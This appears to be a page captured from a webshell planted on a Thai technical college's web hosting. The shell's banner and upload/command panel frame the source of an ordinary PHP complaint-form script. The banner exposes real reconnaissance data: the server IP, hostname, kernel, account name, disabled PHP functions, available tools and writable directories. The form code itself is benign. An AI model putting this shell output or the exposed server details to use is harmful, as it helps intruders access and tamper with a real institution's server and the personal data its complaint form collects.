403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/public_html/rytc/newgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/public_html/rytc/newgen/contact2.php
<?php
$complaintToEmail = 'patiwat@technicrayong.ac.th';
$complaintSuccess = false;
$complaintError = '';
$old = [
  'complainant_name' => '',
  'complainant_phone' => '',
  'complainant_email' => '',
  'complaint_type' => '',
  'complaint_subject' => '',
  'complaint_detail' => '',
  'complaint_evidence' => ''
];

function complaint_clean($value) {
  return trim(str_replace(["\r", "\n"], ' ', $value ?? ''));
}

function complaint_textarea_clean($value) {
  return trim($value ?? '');
}

function complaint_e($value) {
  return htmlspecialchars($value ?? '', ENT_QUOTES, 'UTF-8');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['complaint_submit'])) {
  $old['complainant_name'] = complaint_clean($_POST['complainant_name'] ?? '');
  $old['complainant_phone'] = complaint_clean($_POST['complainant_phone'] ?? '');
  $old['complainant_email'] = complaint_clean($_POST['complainant_email'] ?? '');
  $old['complaint_type'] = complaint_clean($_POST['complaint_type'] ?? '');
  $old['complaint_subject'] = complaint_clean($_POST['complaint_subject'] ?? '');
  $old['complaint_detail'] = complaint_textarea_clean($_POST['complaint_detail'] ?? '');
  $old['complaint_evidence'] = complaint_clean($_POST['complaint_evidence'] ?? '');
  $privacyAccept = isset($_POST['privacy_accept']);

  if ($old['complainant_name'] === '' || $old['complainant_phone'] === '' || $old['complaint_type'] === '' || $old['complaint_subject'] === '' || $old['complaint_detail'] === '' || !$privacyAccept) {
    $complaintError = 'กรุณากรอกข้อมูลที่จำเป็นให้ครบถ้วน และยืนยันการให้ข้อมูลก่อนส่งเรื่องร้องเรียน';
  } elseif ($old['complainant_email'] !== '' && !filter_var($old['complainant_email'], FILTER_VALIDATE_EMAIL)) {
    $complaintError = 'รูปแบบอีเมลไม่ถูกต้อง กรุณาตรวจสอบอีกครั้ง';
  } elseif ($old['complaint_evidence'] !== '' && !filter_var($old['complaint_evidence'], FILTER_VALIDATE_URL)) {
    $complaintError = 'รูปแบบลิงก์หลักฐานไม่ถูกต้อง กรุณาตรวจสอบอีกครั้ง';
  } else {
    $submittedAt = date('d/m/Y H:i:s');
    $ipAddress = $_SERVER['REMOTE_ADDR'] ?? '-';
    $mailSubjectText = 'รายการร้องเรียนใหม่: ' . $old['complaint_subject'];
    $mailSubject = '=?UTF-8?B?' . base64_encode($mailSubjectText) . '?=';

    $mailBody = "มีรายการร้องเรียนใหม่จากหน้าเว็บไซต์\n\n";
    $mailBody .= "วันที่ส่งเรื่อง: {$submittedAt}\n";
    $mailBody .= "IP Address: {$ipAddress}\n\n";
    $mailBody .= "ข้อมูลผู้ร้องเรียน\n";
    $mailBody .= "ชื่อ-นามสกุล: {$old['complainant_name']}\n";
    $mailBody .= "เบอร์โทรศัพท์: {$old['complainant_phone']}\n";
    $mailBody .= "อีเมล: " . ($old['complainant_email'] !== '' ? $old['complainant_email'] : '-') . "\n\n";
    $mailBody .= "ข้อมูลเรื่องร้องเรียน\n";
    $mailBody .= "ประเภทร้องเรียน: {$old['complaint_type']}\n";
    $mailBody .= "หัวข้อร้องเรียน: {$old['complaint_subject']}\n";
    $mailBody .= "รายละเอียดร้องเรียน:\n{$old['complaint_detail']}\n\n";
    $mailBody .= "ลิงก์หลักฐานเพิ่มเติม: " . ($old['complaint_evidence'] !== '' ? $old['complaint_evidence'] : '-') . "\n";

    $fromEmail = 'noreply@technicrayong.ac.th';
    $headers = [];
    $headers[] = 'MIME-Version: 1.0';
    $headers[] = 'Content-Type: text/plain; charset=UTF-8';
    $headers[] = 'Content-Transfer-Encoding: 8bit';
    $headers[] = 'From: Rayong Technical College Website <' . $fromEmail . '>';
    $headers[] = 'Reply-To: ' . ($old['complainant_email'] !== '' ? $old['complainant_email'] : $fromEmail);
    $headers[] = 'X-Mailer: PHP/' . phpversion();

    if (mail($complaintToEmail, $mailSubject, $mailBody, implode("\r\n", $headers))) {
      $complaintSuccess = true;
      foreach ($old as $key => $value) {
        $old[$key] = '';
      }
    } else {
      $complaintError = 'ไม่สามารถส่งเรื่องร้องเรียนได้ กรุณาติดต่อเจ้าหน้าที่ หรือแจ้งผ่านอีเมล saraban@technicrayong.ac.th โดยตรง';
    }
  }
}
?>
<section class="heading-page header-text" id="top">
    <div class="container">
      <div class="row">
        <div class="col-lg-12">
          <h2> </h2>
        </div>
      </div>
    </div>
  </section>
<section class="complaint-section py-5" id="complaint">
  <style>
    .complaint-section {
      position: relative;
      overflow: hidden;
      background: linear-gradient(135deg, #f7fbff 0%, #edf5ff 45%, #ffffff 100%);
    }

    .complaint-section::before,
    .complaint-section::after {
      content: "";
      position: absolute;
      border-radius: 50%;
      background: rgba(13, 110, 253, 0.08);
      z-index: 0;
    }

    .complaint-section::before {
      width: 260px;
      height: 260px;
      top: -80px;
      right: -70px;
    }

    .complaint-section::after {
      width: 180px;
      height: 180px;
      bottom: -70px;
      left: -55px;
    }

    .complaint-section .container {
      position: relative;
      z-index: 1;
    }

    .complaint-card,
    .complaint-info-card {
      border: 0;
      border-radius: 24px;
      box-shadow: 0 18px 45px rgba(25, 64, 120, 0.12);
    }

    .complaint-card {
      background: rgba(255, 255, 255, 0.96);
    }

    .complaint-title-badge {
      display: inline-flex;
      align-items: center;
      gap: 8px;
      padding: 8px 16px;
      border-radius: 999px;
      color: #0d6efd;
      background: rgba(13, 110, 253, 0.1);
      font-weight: 600;
      font-size: 0.95rem;
    }

    .complaint-form .form-control,
    .complaint-form .form-select {
      min-height: 52px;
      border-radius: 14px;
      border: 1px solid #d9e4f2;
      background-color: #fbfdff;
    }

    .complaint-form .form-control:focus,
    .complaint-form .form-select:focus {
      border-color: #0d6efd;
      box-shadow: 0 0 0 0.2rem rgba(13, 110, 253, 0.12);
    }

    .complaint-form textarea.form-control {
      min-height: 150px;
      resize: vertical;
    }

    .complaint-submit-btn {
      border: 0;
      border-radius: 14px;
      padding: 14px 28px;
      font-weight: 700;
      color: #fff;
      background: linear-gradient(135deg, #0d6efd 0%, #0a58ca 100%);
      box-shadow: 0 12px 24px rgba(13, 110, 253, 0.28);
      transition: all 0.25s ease;
    }

    .complaint-submit-btn:hover {
      transform: translateY(-2px);
      box-shadow: 0 16px 30px rgba(13, 110, 253, 0.34);
    }

    .complaint-info-card {
      height: 100%;
      color: #fff;
      background: linear-gradient(160deg, #0d6efd 0%, #0b4fb3 55%, #07367d 100%);
    }

    .complaint-info-card .info-icon {
      width: 46px;
      height: 46px;
      display: inline-flex;
      align-items: center;
      justify-content: center;
      border-radius: 14px;
      color: #fff;
      background: rgba(255, 255, 255, 0.16);
      font-size: 1.25rem;
    }

    .complaint-info-card .list-group-item {
      color: rgba(255, 255, 255, 0.92);
      background: transparent;
      border-color: rgba(255, 255, 255, 0.15);
      padding-left: 0;
      padding-right: 0;
    }

    .complaint-info-card a {
      color: #ffffff;
      text-decoration: none;
    }

    .complaint-info-card a:hover {
      text-decoration: underline;
    }
  </style>

  <div class="container">
    <div class="row justify-content-center mb-4">
      <div class="col-lg-9 text-center">
        <span class="complaint-title-badge mb-3">
          <i class="fa fa-comments-o" aria-hidden="true"></i>
          รายการร้องเรียน / แจ้งปัญหา
        </span>
        <h2 class="fw-bold mb-3">แบบฟอร์มรับเรื่องร้องเรียน</h2>
        <p class="text-muted mb-0">
          กรุณากรอกข้อมูลให้ครบถ้วน เมื่อกดส่งเรื่องร้องเรียน ระบบจะส่งข้อมูลไปยังอีเมล saraban@technicrayong.ac.th โดยอัตโนมัติ
        </p>
      </div>
    </div>

    <div class="row g-4 align-items-stretch">
      <div class="col-lg-8">
        <div class="card complaint-card h-100">
          <div class="card-body p-4 p-lg-5">
            <?php if ($complaintSuccess): ?>
              <div class="alert alert-success rounded-4 mb-4" role="alert">
                <strong>ส่งเรื่องร้องเรียนเรียบร้อยแล้ว</strong><br>
                ระบบได้ส่งข้อมูลไปยังอีเมล saraban@technicrayong.ac.th อัตโนมัติแล้ว
              </div>
            <?php endif; ?>

            <?php if ($complaintError !== ''): ?>
              <div class="alert alert-danger rounded-4 mb-4" role="alert">
                <strong>เกิดข้อผิดพลาด</strong><br>
                <?php echo complaint_e($complaintError); ?>
              </div>
            <?php endif; ?>

            <form id="complaintForm" class="complaint-form" action="" method="post">
              <div class="row g-3">
                <div class="col-md-6">
                  <label for="complainant_name" class="form-label fw-semibold">ชื่อ-นามสกุลผู้ร้องเรียน <span class="text-danger">*</span></label>
                  <input name="complainant_name" type="text" class="form-control" id="complainant_name" placeholder="กรอกชื่อ-นามสกุล" value="<?php echo complaint_e($old['complainant_name']); ?>" required>
                </div>

                <div class="col-md-6">
                  <label for="complainant_phone" class="form-label fw-semibold">เบอร์โทรศัพท์ <span class="text-danger">*</span></label>
                  <input name="complainant_phone" type="tel" class="form-control" id="complainant_phone" placeholder="เช่น 08x-xxx-xxxx" value="<?php echo complaint_e($old['complainant_phone']); ?>" required>
                </div>

                <div class="col-md-6">
                  <label for="complainant_email" class="form-label fw-semibold">อีเมล</label>
                  <input name="complainant_email" type="email" class="form-control" id="complainant_email" placeholder="example@email.com" value="<?php echo complaint_e($old['complainant_email']); ?>">
                </div>

                <div class="col-md-6">
                  <label for="complaint_type" class="form-label fw-semibold">ประเภทร้องเรียน <span class="text-danger">*</span></label>
                  <select name="complaint_type" id="complaint_type" class="form-select" required>
                    <option value="" <?php echo $old['complaint_type'] === '' ? 'selected' : ''; ?> disabled>เลือกประเภทร้องเรียน</option>
                    <option value="บริการ" <?php echo $old['complaint_type'] === 'บริการ' ? 'selected' : ''; ?>>การให้บริการ</option>
                    <option value="บุคลากร" <?php echo $old['complaint_type'] === 'บุคลากร' ? 'selected' : ''; ?>>บุคลากร/เจ้าหน้าที่</option>
                    <option value="อาคารสถานที่" <?php echo $old['complaint_type'] === 'อาคารสถานที่' ? 'selected' : ''; ?>>อาคารสถานที่</option>
                    <option value="การเรียนการสอน" <?php echo $old['complaint_type'] === 'การเรียนการสอน' ? 'selected' : ''; ?>>การเรียนการสอน</option>
                    <option value="อื่นๆ" <?php echo $old['complaint_type'] === 'อื่นๆ' ? 'selected' : ''; ?>>อื่น ๆ</option>
                  </select>
                </div>

                <div class="col-12">
                  <label for="complaint_subject" class="form-label fw-semibold">หัวข้อร้องเรียน <span class="text-danger">*</span></label>
                  <input name="complaint_subject" type="text" class="form-control" id="complaint_subject" placeholder="ระบุหัวข้อเรื่องร้องเรียน" value="<?php echo complaint_e($old['complaint_subject']); ?>" required>
                </div>

                <div class="col-12">
                  <label for="complaint_detail" class="form-label fw-semibold">รายละเอียดร้องเรียน <span class="text-danger">*</span></label>
                  <textarea name="complaint_detail" class="form-control" id="complaint_detail" placeholder="ระบุรายละเอียด วัน เวลา สถานที่ และข้อมูลที่เกี่ยวข้อง" required><?php echo complaint_e($old['complaint_detail']); ?></textarea>
                </div>

                <div class="col-12">
                  <label for="complaint_evidence" class="form-label fw-semibold">ลิงก์หลักฐานเพิ่มเติม</label>
                  <input name="complaint_evidence" type="url" class="form-control" id="complaint_evidence" placeholder="เช่น ลิงก์รูปภาพ เอกสาร หรือไฟล์แนบ" value="<?php echo complaint_e($old['complaint_evidence']); ?>">
                  <div class="form-text">หากมีหลักฐานประกอบ จะช่วยให้ตรวจสอบข้อมูลได้รวดเร็วยิ่งขึ้น</div>
                </div>

                <div class="col-12">
                  <div class="form-check p-3 rounded-4 bg-light border">
                    <input class="form-check-input ms-0 me-2" type="checkbox" value="1" id="privacy_accept" name="privacy_accept" required>
                    <label class="form-check-label ps-2" for="privacy_accept">
                      ข้าพเจ้ายืนยันว่าข้อมูลที่แจ้งเป็นความจริง และยินยอมให้ใช้ข้อมูลเพื่อดำเนินการตรวจสอบเรื่องร้องเรียน
                    </label>
                  </div>
                </div>

                <div class="col-12 d-grid d-sm-flex justify-content-sm-end mt-3">
                  <button type="submit" id="form-submit" name="complaint_submit" value="1" class="complaint-submit-btn">
                    <i class="fa fa-paper-plane me-2" aria-hidden="true"></i>ส่งเรื่องร้องเรียน
                  </button>
                </div>
              </div>
            </form>
          </div>
        </div>
      </div>

      <div class="col-lg-4">
        <div class="card complaint-info-card">
          <div class="card-body p-4 p-lg-5">
            <div class="info-icon mb-3">
              <i class="fa fa-shield" aria-hidden="true"></i>
            </div>
            <h4 class="fw-bold mb-3 text-white">ช่องทางและขั้นตอน</h4>
            <p class="mb-4" style="color: rgba(255,255,255,0.85);">
              เมื่อกดส่งเรื่องร้องเรียน ระบบจะส่งรายละเอียดไปยังงานสารบรรณของวิทยาลัยโดยอัตโนมัติ
            </p>

            <ul class="list-group list-group-flush mb-4">
              <li class="list-group-item">
                <strong>1. ส่งเรื่อง</strong><br>
                ผู้ร้องเรียนกรอกข้อมูลและกดปุ่มส่งเรื่องร้องเรียน
              </li>
              <li class="list-group-item">
                <strong>2. ส่งเข้าอีเมล</strong><br>
                ระบบส่งข้อมูลไปยัง saraban@technicrayong.ac.th
              </li>
              <li class="list-group-item">
                <strong>3. ตรวจสอบ</strong><br>
                เจ้าหน้าที่ตรวจสอบรายละเอียดและหลักฐานประกอบ
              </li>
              <li class="list-group-item">
                <strong>4. แจ้งผล</strong><br>
                ติดต่อกลับตามช่องทางที่ผู้ร้องเรียนระบุ
              </li>
            </ul>

            <div class="small" style="color: rgba(255,255,255,0.85);">
              <p class="mb-2"><i class="fa fa-phone me-2" aria-hidden="true"></i>038-611192</p>
              <p class="mb-2"><i class="fa fa-envelope me-2" aria-hidden="true"></i><a href="mailto:saraban@technicrayong.ac.th">saraban@technicrayong.ac.th</a></p>
              <p class="mb-0"><i class="fa fa-map-marker me-2" aria-hidden="true"></i>086/13 ถ. ตากสินมหาราช ต.ท่าประดู่ อ.เมืองระยอง จ.ระยอง 21000</p>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit